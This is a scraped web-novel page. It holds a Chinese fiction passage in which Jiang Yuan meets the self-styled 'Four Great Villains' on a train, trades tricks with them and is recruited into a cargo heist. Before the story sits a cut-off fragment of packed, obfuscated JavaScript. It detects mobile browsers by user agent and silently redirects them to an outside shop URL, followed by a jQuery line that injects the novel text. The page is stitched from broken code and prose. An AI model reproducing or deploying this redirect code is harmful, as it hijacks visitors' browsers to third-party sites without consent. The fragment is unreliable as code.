d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098582|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我说?我连‘四大恶人’到底是什么都还不清楚——” “你没听过我们‘四大恶人’的鼎鼎大名吗?我们很有名的哦!真的很有名哦!”光头大汉做出一副惊讶的表情。但那大概是装出来的。 “没听说过。”姜原回答。 “呜——呀!兄弟们,操练一下,让他看看我们四大恶人的本事!” 那黑汉子从旁边摸出一面小铜锣儿来,“铛”地一敲。而那青年从袖筒中抽出一杆竹笛,咿咿呜呜地吹着,与老人的吱吱呀呀的小胡琴相唱和。 然后又是“铛”的一声,那大汉跳到中间,做了个罗圈揖,双手抓住旁边货架的钢筋骨架,深吸一口气,咬牙瞋目,双臂的肌肉高高鼓起,用力往怀中就是一抱。货架嘎嘎作响,拇指粗的钢筋被他掰得弯成了直角。大汉掰弯货架,双手噼噼啪啪地拍了几下脑袋,后退一步,“哟——”地摆了个架势。 然后是那青年向前一步站了出来。他先后捋起双手的袖子,对姜原示意手中袖中并无一物,然后双腕一晃,手中便各多出一柄洒金扇子。扇面展开,左手扇子写着“日月逾迈”,右手“河清未极”。他双手将扇一扇,扇面上的字却左右互换了。然后他又一拍手,两把扇子不翼而飞,又是双手空空。 青年鞠躬后退,让出老人前面的空间。老人也不挪动地方,只是坐在原处,将那支没抽完的纸烟递到嘴边,深深吸了一口。烟头火光一亮,缩短了一节。老人将那烟头向空中轻轻一弹,对着划过空中的烟头喷出一道浓重的烟雾。那烟雾在接触火光的一瞬间,竟然变成一个火球,轰地一闪,烧了个干净。 老人略一欠身,那黑汉子便从地上站了起来。他从腰间拔出一柄大匕首,捡起那老人刚才弹出的烟头,挥手便是一刀。那一刀只切下烟头上燃烧的部分,火星还在刀刃口上一明一暗。然后黑汉子举起左臂,大喝一声,一刀砍了上去。刀刃弹开,而他的左臂岿然不动,连一丝血痕也无,只有淡淡的一道白印。 笛子和小胡琴又咿咿呜呜,吱吱呀呀地唱了起来,然后是铛铛铛的一阵锣响。 姜原一时不知应该如何评价。这算什么,街头卖艺的戏班吗? “其实,我们算是雇佣服务业吧,但也可以劳务派遣,开车、开船、开山、开矿、开门、开房、开水沟、开酒瓶,被人欺负了想开脑壳,没问题,老婆出轨了想开盒,随你意,空投敌后,烧水送饭,保镖护送,逛街陪玩,无论大小,无论多少,什么活都干,什么活都接,上九天揽月,下五洋捉鳖,只有你想不到,没有我们做不到,这就是我们,四大恶人!对了,最关键的,可以挣快钱哦。” 大汉又加重语气,强调了一遍最后那六个字,然后对着姜原露出微笑。似乎“赚快钱”就是他最为看重,也是唯一可以拿来炫耀的东西一样。 “不错,这次只漏了四句。”那女子在后面说道。 “得了吧!还不是都一样!怎么样,小兄弟,要不要来赚快钱啊?”大汉摆了摆手,像是一只狗熊闻到蜂蜜一样呼哧呼哧地在姜原身边拱来拱去,俨然一副只要姜原不答应,就搞得他没法休息的架势。 算了,就这样答应他吧。反正也不会怎么样。 “那就恭敬不如从命了。”姜原说完,重新闭上眼睛。 “你,这就完了?”那黑汉子道。 “什么完了?”姜原睁开眼问。 “哼。看嘛。你这样就是胡闹。”黑汉子对那大汉说。 “哎呀。就是一时兴起,招个新人而已。不然你还要他马上派上用场?”光头大汉耸耸肩,转向姜原道:“小兄弟,那就说好了,你以后要是去米卡那边发展,可以找我们四大恶人帮忙。” “他就是这样。”那个女子也说。 “他就是这样。你就纵容他吧!随随便便就招这么个家伙,我不干了!我要回家!”那黑汉子甩下这么一句,开始收拾东西。 “你!老白!我们多少年的交情,你这么不给面子的吗!” “我给你面子,但我为什么非得给他面子?”黑汉子瞪着眼睛,看着姜原。 姜原叹了口气。 “好吧,那我也给你们来两手。”他摊开双手,两只机械爪从袖筒中伸了出来,爪头像响尾蛇一样咔咔作响,摇摆着游向面前的光头大汉。然后轻轻摘下了他脖子上的金链子。同时另外一只机械爪从大衣的下摆处伸出,捡起地上尚未熄灭的烟头;另外两只则一只穿进青年的袖筒,抽出折扇;一只则盘上黑汉子腰间,拔出匕首。机械爪同时把拿到的东西向空中一抛。最后一只则不偏不倚地掷出那匕首,将那金链、烟头、折扇,全部钉在车厢的墙壁上。 “怎么样?行了吗?”姜原微笑着问那黑汉子。 但那四个人突然露出提防的表情。却不是那种被冒犯的提防,而是遇到了敌人的那种同时带有杀气和恐惧的感觉。 “你……认识玉家的人?” 光头大汉看着姜原的机械爪。 “不认识。什么玉家?” “你不是统修会的?”那黑汉子问道。 “不是啊。一开始就说了,我是外地来的。” 四个人脸上的表情一下子放松了,几乎同时点起头。 “看着也不像嘛。” “玉家的人怎么可能买站票。” “小兄弟。你到底是什么人?来干什么的?”那光头大汉郑重其事地问道。 “刚才不是说了嘛,来旅游的。”姜原说。 “你真的跟统修会没什么关系?” “没有。”姜原答道。 “那——这一单,你要不要也来做?”光头大汉问道。 好嘛,看来还真的想拉我进组了。姜原心里那么想,嘴上却问:“所以,刚才到底是什么情况?” “没什么。本来是跟你开个玩笑,结果反而被你开了个玩笑。这一手不错,配得上我们四大恶人。”那光头大汉拍了拍姜原的肩膀,问另外三人:“是不是啊,兄弟伙?” 三人同声称是。 光头大汉继续道:“毕竟我们之前也担心人手有点不够,遇到你或许真的是机会。就跟你说说赚快钱的事吧。简单地说就是,这趟车的特等席上有两个人,押送一件特殊的货物。而我们只需要把这件货物拿到手,交给买家,每人可以分……一百五十万。” 原来是火车劫匪。难怪他之前就觉得不对劲。姜原看着面前的这几个人,光头大汉、黑脸汉子、柔弱青年……还有一个似乎生病的老头。 就算他们是火车劫匪,也还是有一点不对劲。 不过,他们的目标和姜原并没有冲突。如果他们打算到特等席那边搞事情的话,或许可以分散枢机主讲部下的注意力。也不是完全没有价值。 “怎么付?”姜原问。 “一千枚教会的金币,现金。”大汉说。“怎么样?” “好吧。”姜原说。“那你们怎么称呼?” 大汉笑了笑。“我们是不允许称呼真名的。每个人入伙的时候都可以给自己起一个花名,从此以后内部就叫这个名字。我嘛,我叫关铁震,是他们的老大。这妹子叫郑小楼。”大汉拍了拍那女子的脊背。 “白少俊。”那相貌抽象的黑脸汉子说。 老人正要介绍,但才一张口就又咳嗽起来。“这位是马延仙,马老爷子。还有一个不在这里的,叫王西凤。”大汉替他报上名字,又问:“你呢?” 好嘛。关、马、郑、白、王。 姜原答道:“那我就叫汤元吧。” 这闹得,简直跟林家兄弟一样了。现在也不知道那一对活宝现在怎么样。 姜原想。